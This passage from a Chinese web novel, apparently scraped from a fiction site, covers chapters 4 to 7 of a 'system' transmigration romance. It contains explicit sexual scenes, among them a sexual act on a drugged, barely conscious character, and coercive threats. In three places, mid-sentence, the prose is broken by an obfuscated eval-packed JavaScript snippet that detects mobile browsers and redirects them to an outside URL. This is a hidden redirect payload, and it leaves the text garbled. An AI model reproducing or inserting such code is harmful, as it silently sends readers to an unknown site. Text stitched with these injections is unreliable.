迟瑜竖起耳朵,听到房间里有类似淋浴的水声传来。循着不间断的水声,他扶着墙只觉得脚下轻飘飘的走不稳,行走之间皮肤的摩擦让他几乎立即软了腰,唇腔中发出连他自己都感到陌生的声音。 太可怕了,他心里慌得要命,好不容易挪到走到浴室门前,犹豫再三才抬手敲了敲门。 “季森。” 他倚在磨砂玻璃门上,裹在肩上的浴巾因为他的动作滑下一角,露出半边雪白的肩颈,迟瑜没有察觉,仍然不停地拍门,拖长了尾音喊季森的名字,声音里带着些微的沙哑和无措。 透过玻璃门,迟瑜看到里面站着一道朦胧的人影。 在他敲第一声的时候,里面的的水声就停止了,迟瑜因此确信季森听见了他的声音,至于为什么不做回应,迟瑜猜测季森大概是懒得理他,烦得要命。 但系统能力不够,他现在唯一的救命稻草就只有季森了,迟瑜心里着急,忍不住磨了磨腿,那股燥热不仅没有缓解,反而愈演愈烈,他不敢再轻易尝试了。 里面的人还是没搭理他。 “季森,季森,你听见我说话了吗……”迟瑜已经有点思绪混乱了,“刚才我不是故意拉你进水里的,我可以和你道歉。” “对不起,我是想请你帮个忙。”迟瑜脑袋已经有些不太清醒了。 才刚撕破脸皮,就来找人帮忙,他也有些不好意思,说话磕磕绊绊的。 浴室门“唰”的一声被猛然拉开,迟瑜虽然不至于毫无防备,但却还是惯性往前扑了一步,恰好撞进面前湿淋淋的坚实胸膛上,他下意识伸手去抓住些什么维持平衡,松松裹在身上的浴巾掉在脚下。 季森定在原地,毫无防备之间,一道雪白身影扑进他怀里,他呼吸一窒,倒不是因为疼,在迟瑜扑过来地一瞬间,他身体几乎是本能的肌肉动作,在脑袋反应过来之前就先一步将人稳稳接住了。 好香。 肢体紧贴在一起的温软触感,让才刚刚被冷水澡冲下去的绮念又被重新被勾起来。 “烧退了?” 季森皱眉,紧贴着他的身体似乎没之前那么烫了,却也还是热得惊人。 “嗯……”迟瑜尾音发颤,几乎站不住了,季森身上凉冰冰的,贴上去好舒服。 “一醒就来投怀送抱,你想我怎么帮你?” 季森尾音很轻地略微上扬,一双手掌扣在迟瑜后腰上,惊得那一片皮肤都颤栗起来,迟瑜下意识挺腰想要躲开,却贴得面前的胸腹更紧了些,季森的一双手就按在他腰窝上,迟瑜浑身都快软成了一滩水。 他脑袋几乎无法思考了,系统说的话完全忘在了脑后,眼前的危机让迟瑜下意识退缩了,他近乎本能地脱口而出了他所认为的较为安全的方案:“你能帮我联系一下贺骄吗?” 【O、M、G……】 【宝宝你怎么临时改剧本?】 迟瑜从系统的机械音里听出了吐槽的意味,事实上,话一说出口他也觉得有些不妥,但已经收不回来了。 季森额角青筋跳起,扣在迟瑜腰上的双手骤然收紧,像是有一股不知名的情绪在肺腑里翻江倒海。他单手捏着迟瑜后颈将人拎开推到了墙上倚着,视线从迟瑜脸上一寸一寸下移,目光所及之处,雪白的皮肤都隐隐透出粉晕来,季森的语气还算上平和:“你手段挺多的,这种时候提贺骄,是想和我玩什么情趣吗?” 迟瑜有点说不出话来了,身上抖得厉害,就连季森说的话他也没怎么听清,翕动的睫毛上不知道是汗珠还是泪珠,碎星子似的一颤一闪。 季森只看了一眼心里那团暴烈的火气就被浇灭了大半。 他嘴唇动了动,甩过头去像是骂了句脏话。 “站稳了,别摔着。” “你现在找贺骄有什么用,他要是真有点屁用,你还能在他的地盘被人下药。” “他对你下什么迷魂汤了,让你对他这么死心塌地。” “医生一会儿就到,等会儿先让他给你看看脑子!” 季森骂骂咧咧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383199|184151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认命地弯下腰去想将浴巾捡起来。 “看过医生之后,你想怎么样就怎么样。” “谁乐意管你!” 浴巾的一角被迟瑜踩在脚底,他的脚也生得漂亮,白皙细嫩,踝骨纤巧,脚趾圆润可爱,就连指甲盖儿都透着粉,季森只看了一眼就感觉自己浑身气血翻涌,他想强迫自己移开视线,目光却又忍不住黏在上面,甚至有种俯身下去亲吻的冲动,这个念头把他自己都吓了一跳,脑袋一瞬间清醒了几分。 “抬脚。” 季森抬起头,语气不太好,他眉眼原本就轮廓锋利,迟瑜听到声音垂眼看过去,视线被眼泪模糊了,虽然看不太清,但莫名觉得有些危险,他脑袋里像搅了一团浆糊,跟着指令下意识就移开了脚,小腿却不小心在季森手臂上蹭了一下。 迟瑜看着蹲在自己腿边的身影,眼前发晕,这身影竟然和脑袋里另一个影子重合在了一起,他忍不住又将小腿贴过去蹭了蹭,嘴里不住地呢喃:“贺骄,贺骄呜呜呜……” 他好难受,好像叫贺骄来救救他…… “腿不要就折了。” 季森眼神一瞬间就变得森冷,几个字从咬紧的齿缝间蹦出来,迟瑜听见他说话,意识又挣扎着回来了一些,瞬间害怕得想要逃走,但季森反手掐住他的小腿,指腹在他小腿肚上摩挲着,像是在比划着要怎么折断他这条腿。 小腿上的触感像是正在被某种阴湿的生物舔舐一般,痒痒的让人浑身汗毛倒竖心乱如麻,季森凶人的时候表情还是挺骇人的,迟瑜腿抖得像筛子。 “我改主意了,迟瑜。 “你真的太擅长激怒我了。” 迟瑜还没想明白季森这话的意思,便感觉小腿被大力拽动,身体立即失去平衡,迟瑜尖叫着向后仰倒,不知道坐到了什么上面,凸出来的什么东西硌得他生疼,他忍不住蹬着腿向后躲,但后腰却被一双大手掐住,怎么挣扎也躲闪不开。 迟瑜腰背绷紧,细而长的脖颈仰起,宛如濒死的天鹅,嘴里不住地发出短促的哀鸣,眼前像炸开了一团白光,泪濛濛的什么也看不清了。 他呆滞地回过神来,好像,坐到季森脸上了。 还没来得及细想,就感觉湿而软的东西攀上来。 迟瑜仿佛被烫到一样使劲瑟缩着想远离,两条腿受刺激一样紧绷着并拢,他不敢往下看,只好一双手胡乱去阻止,但这点反抗的力度在这样的情境下无异于另类的邀请。 季森两条有力的手臂将他牢牢卡住,从容享用起送上门的猎物。 迟瑜失声呜咽着,张张嘴却说不出任何,身体还在不自觉发抖,灵魂好像都被拉扯着,一时间分不清是天堂还是地狱,意识浮浮沉沉,有种快要溺毙的感觉,他声音也颤得不像话:“贺骄……贺……骄……” 季森动作顿了一下,没听清他说了什么,换了一个姿势继续。 “好香。” 迟瑜脑袋里突兀地响起一串警报。 【检测到主线角色出现。】 【主角攻:季森,正式被触发,请宿主注意。】 迟瑜仰着头,腰肢反弓,喉咙里溢出来的尖叫声都拐起弯,眼泪忍不住断了线似地落下,并没有听清脑袋里的播报。 5. 第 5 章 感官系统像是脱离了掌控,颅内炸起一波又一波烟花,无处安放的失重感让迟瑜头脑陷入一片混沌,甚至不知道什么时候晕过去的,也不清楚有没有被摆弄成其他姿势,迟瑜只在恍惚间听见一串不太真切的电话和佣人敲门询问声,等意识再回笼的时候,已经迷迷糊糊地被季森又重新抱回到床上去。 他躲在被子里,被强行套上了不合身的睡袍,身上蒸起一层带雾的浅红,脑袋里只有一个念头—— 这回真的闯祸了,贺骄不会轻易放过他的。 迟瑜听见季森出去开门接了个人进来,两人交谈着什么,他闷在被子里也没听清,缓过神来只觉得尴尬得不想见人了,后面医生来给他检查身体,都是季森直接上手扯开被子。 迟瑜争不过他,干脆一双手捂着眼睛装死,从指缝里偷偷往外看。季森给他喂药,他也囫囵吞了下去,险些被呛到。 他似乎听到季森嗤笑了一声,很快便听见了送客的声音。 脚步声去而又返,停在了床边。 “行了,没人了,出来透透气,也不怕闷坏了。” 刚才发生的事情简直太超过了,迟瑜还没想好怎么面对他,就干脆缩在被子里当鹌鹑。 【你们刚才,好刺激,虽然我什么也没看见,但我听见你被季森马赛克时喊着贺骄的名字。】 【太狂野了,宝宝,我需要缓冲一下。】 吃了药之后,迟瑜脑袋也逐渐恢复了正常,想起刚才的事,他忍不住夹紧了双腿,只觉得腿/根处的皮肤还疼得慌,快要在被窝里抠出一栋大别墅。 【你现在这状态,要不先回贺骄身边吧。】 【宝宝你害怕的话就回去演演戏,把锅推给季森。】 迟瑜心情却没有系统这样轻松。 “你不了解贺骄。” 贺骄心思缜密,行事一丝不苟,并不是能轻易糊弄的类型。 迟瑜一个头两个大,暂且打定主意先在季森这儿装傻,反正刚才晕过去了,只要他咬死不认,季森总不至于屈打成招,先混过去要紧,等回到贺家,万一败露了,他再想别的法子。 见迟瑜半天没反应,季森等得有些不耐烦了,伸手就去拽被子的一角:“喂,躲在里面做什么,害羞了?还是哪里不舒服?” 迟瑜将自己裹得紧紧的,季森也没太使劲。 被窝里的凸起的一小块微微蠕动了下,伸出一只白嫩的手,迟瑜的声音透过被子传出来,瓮瓮的听不太真切:“没有害羞,也没有哪里不舒服。” 细白的手腕翻转半周,掌心朝上。 季森还没想明白迟瑜的意图,就听见被子里紧接着传出来的下一句话: “能把手机借我用一下吗,我想联系一下贺骄来接我回家。” 迟瑜的手伸出去许久,外面的空气仿佛凝滞了一般,半点回应都没有,他手腕都有些酸了,疑心自己刚才脑袋发晕听错了,季森可能又出去了。 他悄悄抬高手腕,企图从被窝里掀起一条缝来瞄一眼外边,却在下一秒被人攥住腕子,大半边身体都被拖出被窝,迟瑜惊叫声被上方一双饱含怒气的眼睛吓得堵在了喉咙口。 “你故意的?想激怒我还是试探我?”季森阴沉着一张脸地看他,身上穿着和他相同款式尺码得当的睡袍,“自以为能把我玩弄于股掌之间?” 迟瑜手腕被拖得生疼,懵懵地眨眨眼,他自从那次生病过后,脑袋就不太灵光了,这会儿更不明白季森的脑回路。 “你确实很有手段,我承认我真有点吃你这套了,”季森将他的手腕压在头顶,审视着这张雪白艳丽的脸蛋,语气有些不自然,“但别仗着我吃你这套,就觉得你能拿捏我了。” “迟瑜,你想都不要想。” 迟瑜脑袋上升起一个大大的问号。 系统忍不住吐槽:【哇偶,好霸道……】 季森神情带着几分野性,眯着眼睛语气危险:“装傻?” 迟瑜无辜而茫然,听着这些话只觉得鸡皮疙瘩都要起来了,不知道季森从哪里衍生出来这么多抽象的想法,他就只说了那么一句话,对方全自动把流程走完了。 “我手好疼。”迟瑜挣动了一下手腕,意料之中的没有挣脱。 季森低眉看了眼他手腕上被勒出来的红痕,手上力道松了点儿。 “我只是想问你借用下手机而已。”迟瑜整理好思绪,表情诚恳地解释说,“我要回家了,明天还有课。” 季森弓下腰凑到迟瑜面前,几乎和他鼻尖相贴,眼神锐利如刀,好像要将他看穿:“迟瑜,还记得你昏迷之前发生了什么吗?” 季森满脸写着“你在装什么”。 迟瑜有些尴尬,眨了眨眼避开他的目光,长睫毛轻轻在季森眼下扫了几下,他视线漫无目的地飘忽着,落在某处,怔了一瞬。 他惊讶地发现,季森耳际竟然染上了一层诡异的红晕。 他想起季森刚才说的那些奇奇怪怪的话,又开始紧张起来:“系统,他耳朵怎么红了,这个药应该不会传染吧?” 迟瑜记起来季森吃他那里时啧啧的水声,脸色也红了几分,心里更担心了。 【可能是热的。】 【反正不可能会对你有什么想法,他可是主角攻之一,不会喜欢炮灰的,宝宝你别多想。】 可能系统的本意是想提醒他不要痴心妄想,但迟瑜还是松了一口气:“那就好。” 【凡是主角攻候选人的,心理上一定是唯爱主角受,宝宝你可千万不要对他们动真感情。】 迟瑜认真地点点头:“嗯,你放心。” 【但是咱们任务还是要做,把他们当成工具人就好。】 【都是咱们新生活的垫脚石。】 系统已经完全陷入自己的畅想中难以自拔了。 【别小看自己,宝宝。】 【咱们任务难度系数本来就不高,凭宝宝你这张脸也很有做狐狸精炮灰的资本,完成任务简直手拿把掐。】 迟瑜却不这么认为,如果一张漂亮的脸真的有用,那他之前受到的欺负又算什么呢? 脖颈上传来一阵刺痛,迟瑜瞬间回过神来。 “你发什么呆?” 季森咧开了嘴,舔了舔尖利的犬牙:“我刚才离你那么近,你都能对我视而不见,你把我空气吗?” 【宝宝你先别太刺激他,小心他真的破防。】 “我不是故意的。”迟瑜疼得倒吸了一口凉气,感觉已经被咬破皮了,他捂着脖子泪花都快冒出来,心里忍不住怀疑季森是不是属狗的,又爱咬人又爱乱舔。 但这话给他再来十个胆子他也不敢在季森的地盘说出来,迟瑜畏缩地摇摇头:“没有走神,我头好疼,只记得当时好像晕过去了,真的不知道后来发生过什么了。” 他白着一张小脸,水光潋滟的一双眼睛里满是怯弱,看起来的确是不敢撒谎的样子。 季森饶有兴致地看着他这样子,唇角弯成一个愉悦的弧度,落在迟瑜脸上的视线一路往下滑到颈窝锁骨上,迟瑜捂着脖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383200|184151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子的手忍不住收紧了,怕他又发疯咬人。 好在季森没打算继续折腾他的脖子,只是伸手挑开松垮的睡袍领口,舔舔嘴唇,俯身过来深吸了一口气:“好香,我先前都快被你香晕了。” “要我帮你情景重现一下吗?” 他语速很慢,说完还顿了一下,一瞬不瞬地认真盯着迟瑜的脸,说: “我指的是,你晕过去的时候发生的事情。” 不待迟瑜做出反应,季森的手就已经一路向下,一路畅通无阻地解开了睡袍的腰带,手掌贴在了软腻温热的腰际。 迟瑜打了个激灵,浑身的寒毛几乎都竖了起来,他丝毫不怀疑季森真的做得出来这种事,甚至觉得季森看起来很期待在他完全清醒的状态下将那件事复刻一遍。 一想到这种可能,迟瑜整个人像跌进水里的猫,浑身都炸开了毛,不知道从哪里迸发出来的力气,竟然将压在他身上的季森推开了些,而后一刻也不敢耽误,连滚带爬地缩到床脚去将自己裹成一团,做完这一切,他才心有余悸地抬眼看过去。 却见到季森慢条斯理地站在原处,刚才那一番拉扯下,他身上的浴袍被扯开了许多,露出一大片挺阔坚实的胸膛,季森也不在意,任由浴袍就那样松松披在身上,他眯着眼睛上下打量了一番迟瑜,语气凉凉:“这么大反应,真不记得了?” 迟瑜皱着眉,硬着头皮说:“正常人被你那样……摸,都会被吓到的,我这是正常反应。” 季森抱着胸瞥了他一眼,也不着急,转身气定神闲地坐在沙发上,手指在屏幕上跳动,就这样开始玩起了手机。 房间里静得只能听到他游戏里的音效。 等了好一会儿,迟瑜有些坐不住了,丝毫不怀疑以这人的性格,如果自己不主动张嘴的话,他能一直这样耗着自己。 【好过分啊,宝宝,我看动作他好像是在玩消消乐。】 【啊,他输了。】 【呃,他又开了一把。】 迟瑜:“……” 这也太恶劣、太小气了,不就推了他一下吗,何况根本没伤到他,至于这样记仇? 迟瑜心里有些着急,再不回家,恐怕贺骄就要大张旗鼓地找他了,到时候他再回去,恐怕更难解释了。迟瑜在心底告诫自己,这个时候要能屈能伸,他唇角扯出一抹友善的微笑弧度,主动开口:“季少,我为我刚才的鲁莽向您道歉,我不是故意推您的。” 季森手上的动作顿了一下,脸上的表情倏然变得难看,紧接着暴躁地点了几下屏幕,就将手机扔在了一边,抬眼凛眉看过来,眼神沁凉,看起来心情不太美妙。 【哇偶,又输了。】 【这么菜。】 【脾气好大,他不会是把输游戏的锅扣在你头上了吧……】 不至于这么不讲道理吧,迟瑜惊了,但季森脸上的神色不像装的,他吞了下口水,迟疑地张口:“季少,需要我帮你通关吗?” 迟瑜觉得自己玩消消乐还是挺有水平的。 “谁说我在玩游戏了。” 季森脸色阴沉,说话也颇有几分咬牙切齿的意味:“怎么突然这么喊我?” 好吧,你说没在玩那就没在玩,迟瑜觉得自己语气表情应该挺友善的,不明白季森为什么看起来更生气了,他忐忑地解释:“这样喊好像更礼貌一点。” “礼貌?”季森嗤笑一声,“坐我脸上的时候礼貌吗?” 系统忍不住跳脚了:【怎么不礼貌了!那不是冒犯,而是奖励!】 6. 第 6 章 迟瑜尴尬得手脚发麻,一阵热气直冲上天灵盖,却还是硬着头皮眨巴着眼睛装傻。 季森视线锋利直白。 “要手机做什么?” “联系贺骄。” “想让他来接你?” “嗯。” “真就一天也离不开他,必须回他身边?” “我一直住在贺家,当然要回去,请您把手机借给我给他打个电话吧.” “借手机这事我答应了吗?” “你答应了呀,你说过等我看了医生之后就可以联系贺骄的。” 迟瑜被他这一连串问题弄烦了,语气也有些急躁,他抬眼看过去,正准备接受下一轮问题轰炸。 单只见到季森似笑非笑地看着他:“不是不记得了?” 迟瑜:“……”糟糕。 【宝宝,你被他套路了。】 迟瑜真没招了,虚弱央求道:“我头好晕,真的记不清了,季少您别为难我了。” 身上没钱,方向感还很差,平时看着导航都有可能会走错路,迟瑜实在没有勇气大半夜一个人去找路回家。 季森掏出手机扬在空中颠了颠,挑眉问他:“你和贺骄,真是外面传说的那种关系?” “什么关系?”迟瑜更茫然了。 “你是他的童养媳?包养关系?” “都是谣言而已。”迟瑜谨慎地回答。 “那好办了,什么时候搬过来?我去接你。” “啊?”迟瑜听得雨里雾里。 季森理所当然的语气:“我说,搬过来和我同居。” 迟瑜丝毫没有犹豫:“不行。” 季森气极反笑,“你还要和他住一起,那你那我当什么了?” “发/情时候的一次性震动棒吗,用完就扔?” 【虽然但是,这话也太糙了。】 迟瑜瞬间震惊地微微睁大眼睛,羞得不行了,脸上快要冒热气,他着急起来说话也有些没条理:“你不要乱说这种话,我本来就是把你当成贺骄了,才会那样,我当时脑子不清醒,所有的事情都是意外。” 季森的表情像打翻了调色盘一样难看:“把我当成别人?” “所以在你眼里我连震动棒都不如?” “迟瑜,你是真的很懂怎么激怒我。” “我没有……”迟瑜真的又想哭了,完全没跟上季森的脑回路,只好默默缩在墙角的被子里不敢说话,季森等了会儿,彻底没耐心了,干脆逼近到他面前来,挑起迟瑜的下巴,迫使他和自己对视,季森眯起眼睛: “你被贺骄弄过没?” “你们也这样玩过?” “我弄得舒服还是他弄得舒服?” “迟瑜,说话。” 这些尖锐露骨的问题听得迟瑜脸色瞬间涨红,他躲避不开,只好顺着季森的摆弄仰头望过去,眨了眨眼,黑琉璃一样纯而亮的眼睛突然蒙上一层雾一般变得湿润,紧接着雾气凝成水珠积蓄在泛红的眼眶里。 【我靠宝宝,演技派啊,眼泪说来就来。】 季森顷刻间便顿住了: “你……” “少来,装什么装?” 两颗晶莹的泪珠滚落在他手背上,烫得季森手臂不自觉抖了一下,突然就忘记要说什么了。 “喂,我也没怎么欺负你吧。” “我不就问问,你哭什么?” 迟瑜咬着下唇不说话,眼泪不要钱似的吧嗒吧嗒往下掉。 【宝宝,可以了,眼泪够用了,不用哭了,再哭我都心疼了。】 “你第一次被人这样弄?”季森松开他下巴,面色迟疑,罕见地有些无措,“其实我也是第一次帮人弄,不对,我之前也从来没和谁亲密接触过,和你是头一回。” 系统碎碎念:【对味了,在咱纯爱区,主攻备选人可以一无是处,但不能不是处,身心双洁是标配!】 迟瑜双眼木愣愣的,眼泪像断了线的珠子似的。 【宝宝,你还好吗?】 系统的声音时远时近,迟瑜有种耳鸣的错觉,他忍不住蜷成一团。 “水做的吗,这眼泪说来就来?” “迟瑜?” “你别哭了。” “你怎么了,还是身体哪里不舒服?” “……” 迟瑜最终还是如愿拿到了季森的手机。 贺骄的号码他倒背如流,但拨号是手抖了一下,第二次才拨成功。 第一遍的时候才响了第一声铃就被挂断了。 迟瑜坐在床上,白着一张脸,没什么表情,几颗细碎泪珠还缀在下眼睫上要掉不掉的,他扭头看了一眼脸色阴沉门神一样站在一边的季森,又重新拨过去第二通。 铃声响了许久,才被接通。 手机听筒里传来的声音有些失真,语调冰冷得让迟瑜感到陌生,他莫名打了个寒颤。 “谁?” 是贺骄的声音。 迟瑜捂着听筒,背过身去,小声回应:“是我,贺骄。” 他嗓音还带着一点哭音的余韵,沙沙的。 空气凝固了一瞬。 “小鱼。”听筒里贺骄的声音又恢复到他熟悉的沉静,“你在哪里,我来接你。” 迟瑜松了一口气:“我在……” 他话还没说完,一只大手便从他耳边将手机径直夺走。 季森拿起手机报了一串地址,不等那边说话,便挂断扔在了一遍,转头看向迟瑜,怪声怪气:“你和他说话的时候,倒是温柔小意。” “……”有吗? 迟瑜懵懵的不知道要说什么,抱着膝盖乖巧坐在床中央,眼圈还红着,下睫毛上抖落下来一滴眼泪,他不知所措地望过去。 季森转过身去,似乎又骂了一声什么,迟瑜没听清,也不敢问,目送着他背影离开房间。 过了会儿,他端了两杯酒进来,冰块碰在玻璃杯壁上,发出脆响。 季森将其中一杯递给他。 迟瑜犹豫了一下,接过来捧在手心里。 季森碰了一下他手心的杯子,仰头将自己杯中的酒喝了个干净,他见迟瑜没动,神色愈发不痛快:“怎么不喝,怕我给你下药?” “不是,”迟瑜摇摇头,垂下眼去,“可以不喝吗?我不爱喝酒。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383201|184151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 季森想起碰到他时闻到的酒气,又看着他这幅可怜兮兮的模样,顿了一下:“今晚你喝酒,是被人逼的?” 迟瑜没抬头看他,好一会儿,才轻轻点了一下头。 “废物一个,你看上他什么了?”季森的声音带着明晃晃的嫌恶。 “你家的事,我也听说过一些。” 迟瑜脸色微僵。 但季森并没有看他,季森捏着酒杯,踱到窗边,侧身看着窗外的月亮。 “贺骄能给你的,我可以给你更多,所以迟瑜——” “你要不要考虑换棵树试试?” 迟瑜攥着被子的手用力到轻微发抖,他咬着牙低下头,心里涌出一丝难言的涩意,声音压不住地颤:“不用了,我在贺骄这根高枝上躺得挺舒服的。” 大概是距离有些远,季森并没有太清楚他的语气,玻璃杯落在桌上,发出一声闷响,季森也没说话了。 【宝宝,你还好吗?】 “挺好的,他也不是第一个说这种话的人了。”迟瑜垂着头,语气寻常。没把他当人看的,也不止季森一个。 系统语气都要哭了:【宝宝,快完成任务,领了新身份咱们跑路吧……】 哪有那么容易,事实上,要离开贺骄,对迟瑜来讲,就不是一件能轻易下决心的事。 两人就这样安静待着,好一会儿,季森才去将迟瑜手里的酒杯拿走,无意中碰到迟瑜的手指,那温度比杯子里的冰块还凉,季森皱着眉将他一双手塞进被子里。 “迟瑜,你还记得我们第一次见面吗?” “嗯?”迟瑜疑惑抬眼看过去,不知道他为什么会这样问,记忆中和季森相关的画面并不算太多,至于第一次见面,大概是在某场宴会上,或者圣莱茵的开学典礼,迟瑜也不太确定。 “算了。”季森看着他神游的模样,脸色看起来又变得有点生气,他垂下眼睫自顾自坐到一边去,也不再继续这个话题了。 迟瑜不知道自己哪里又惹到他了,也不敢说话,就无聊地打量起房间的陈设来。 两人就这样沉默地僵持了一会儿,季森抬手看了眼腕表,突然开口打破了僵局。 “贺骄不是什么好人。” 迟瑜真的思索了片刻,才仰头认真地问:“那谁是好人?” 季森被他哽了一下,抱臂走到迟瑜面前,顶灯投下来的影子将他完全笼罩住。 “迟瑜,你真那么离不开他?” 迟瑜神色恹恹,没应声。 窗外传来汽车的声音,他扭头看过去。 大概是贺骄来了。 “今晚的事情,你不要和贺骄说,可以吗?” 迟瑜收回视线,犹豫了下,伸手去拉住季森的小指晃了晃。 折腾了一夜,他的身体早就已经超负荷了,药效退去之后,泛粉的脸色已经逐渐变得苍白,就连嘴唇都有些发白,看着怪可怜的。 但季森并没有被他这个动作哄到,反而脸色冷得吓人,高大挺拔的身形立在床边,眼神让迟瑜联想起某种凶猛的野兽。迟瑜敏锐地嗅到了危险的气息,警惕地往后挪了挪,担心下一秒他就要暴起伤人。 7. 第 7 章 手机铃声响起来。 季森终于不再看他,啧了一声,转身往外走去。 迟瑜低头去整理自己的穿着,他身上还穿着季森的睡袍。 浴袍的尺寸完全不合适,松松垮垮挂在身上,跟季森拉扯了几个回合,动作幅度大了些,领口不知什么时候敞开了一/大片,回想起来应该是刚才在床上翻滚时不慎扯开的,迟瑜赶紧将领口拉好。 他倒不是怕被季森看,只是贺骄很讨厌他身上有外人的痕迹,无论是气味、衣物或者情绪。 季森的性格迟瑜还没摸清楚,也不敢在最后的关头惹恼他,于是就放弃了悄悄下床去衣帽间重新找一身衣服的打算。 【你怎么了,宝宝,很紧张吗?】 “这么久了都没过来,季森会不会在贺骄面前乱说话。” 迟瑜在心里数着秒,整个人看起来也越来越紧绷。 【你把所有的事情都推到季森身上就好了,宝宝,你对贺骄,没动真感情吧?】 系统的声音带着浓浓的担忧。 迟瑜神色迷茫了一瞬,很快又利落地摇摇头:“我和他的事,你不懂。” “不是你想的那样。” 真要让迟瑜描述,他也不知道该怎么说,倒是系统对贺骄和季森,好像没由来地天然有种反感情绪,迟瑜对这一点还有些没搞懂。 系统还想再详细追问一番,却听见两道脚步声一前一后进入房间里来。 皮鞋在地上一声一声踩出闷响,听得迟瑜心脏跟着一颤一颤,他抬头看过去,一贯温润优雅的贺骄身上还穿着酒会的礼服,平日里被打理得一丝不苟的头发这会儿看起来也有些微凌乱。 他毫无客人的自知,径直走在季森前面,面色依旧沉静,鼻梁上架着银边眼镜,镜片反射出冷凝的光,整个人看起来沉稳又高智。 因为逆着光的缘故,迟瑜看不清他的镜片后的眼睛,但长时间的相处依然能让他从细微的面部表情中感觉到贺骄心情不太好。 也是,他又惹麻烦了,贺骄怎么高兴得起来。 季森抱着手臂倚在他身后的墙上,像是在期待接下来的一出好戏。 但贺骄走到迟瑜面前,像是完全没发现迟瑜身上有哪里不对,只是一种稀松平常的姿态朝他伸出手。 “小鱼。过来。” 迟瑜脑袋还来不及思考,身体就已经自动做出了反应,他从床上爬起来,攀着贺骄的手臂一路往上,双手搂住贺骄的脖子,以一种十足柔顺的姿态依附在贺骄上,就如同外界传闻的一样,像一株仰赖着从贺骄身上汲取养料的菟丝花。 而贺骄在他攀附上来的一瞬间,就已经曲起手臂将迟瑜稳稳托在臂弯里。 这个动作在两人之间做了不知道多少回,于迟瑜而言就像是刻在骨子里的肌肉记忆。 他不止一次觉得,自己和贺骄的关系很是奇怪。 至于哪里奇怪,迟瑜也说不清楚,反正日子就这样糊涂地过。 直到系统突然出现,告诉迟瑜,他是注定被所有人厌弃的小炮灰,这个所有人,自然也包括贺骄。 迟瑜一张脸埋在贺骄胸前,听见贺骄简短地同季森道别,礼仪滴水不漏,但季森只是哼笑一声,听起来不带丝毫友善之意,但贺骄也毫不在意,他很少将精力放在与自己没有利害关系的人或事身上,迟瑜算是唯一的例外。 他将迟瑜稳稳抱在怀里,步履从容地往外走。 几步之后,另一道脚步声紧随其后,是季森。 迟瑜一颗心也像是被丝线系着,随着两道交错的脚步声一坠一坠,下楼梯时,他悄悄侧过脸去看了一眼,季森脸色很阴沉得吓人,瞧见他的视线,还恶意地扬起唇角,勾起一个恶劣威胁的弧度。 迟瑜在贺骄怀里打了个颤,终于后知后觉地意识到自己招惹到了一个很不好惹的角色。 这别墅大而空,除了必要的家具之外,几乎没有任何额外的装饰,没有家的感觉,甚至给人一种主人随时可能会搬走的感觉。 迟瑜想起来偶然听到的,季森是和他舅舅一起从京市搬到本市来的。 迟瑜失神地想,怪不得季森和他们这些人玩不到一起去,大概这只是季森和他舅舅在天南市的临时住所,也许毕业后他就会回到京市,因此也就懒得做这些毫无必要的社交。 但这些都是后话了,系统说他的任务时限还剩半年,也不知道到时候,他会以怎样一种方式“凄凉惨死”下线。 迟瑜回过神来,视线恰好和季森的撞在一起,季森不知道盯着他看了多久,见迟瑜终于分出精力看过来,他唇角勾起一点细微的弧度,嘴唇无声地张合了几下,迟瑜轻易读懂了他的意思:“我们俩的事,没完。” 迟瑜眼皮一抖:“他这是在威胁我吗?” 【嗯,宝宝你要小心,这人也不好糊弄。】 贺骄低下头来轻描淡写的瞥了一眼,迟瑜立即敛下眼睫,将脸重新埋进他胸前。 【我去,宝宝,你怎么被他调教成这样了?】 迟瑜没回应,只是心里仍有些不安,季森和贺骄在他面前都没有透露出来什么信息,也不知道两人私底下达成了什么共识,季森到底有没有乱说话…… 司机在外面等着,提前打开了车门,贺骄将迟瑜抱在怀里,坐进了后排,迟瑜依旧环着贺骄的脖子,就蜷着躺在他腿上。 透过车窗,迟瑜看见季森站在门口渐行渐远,庭院灯照在他身上,拖出长长的影子,迟瑜竟无端看出几分落寞的意味来。 “看来这几个小时你们相处得很不错。” 贺骄声线带了些倦意,淡淡地从头顶传来。 迟瑜立即收回视线,仰起头看过去,却被贺骄鼻梁上架着的镜片反射出来的冷光晃了一下,一瞬间便清醒了,他扬起一个笑容:“怎么会,我只想回家。” 贺骄意味深长轻声缓语:“小鱼,你要回哪个家?” 迟瑜瞳孔骤然收缩,原本就苍白的脸庞瞬间褪去了仅剩的颜色,一串碎片似的的记忆浮现在脑海中,伴着鲜血和空远的哭音,他呼吸顷刻变得急促起来,指甲在贺骄脖子上抓出来几条红痕。 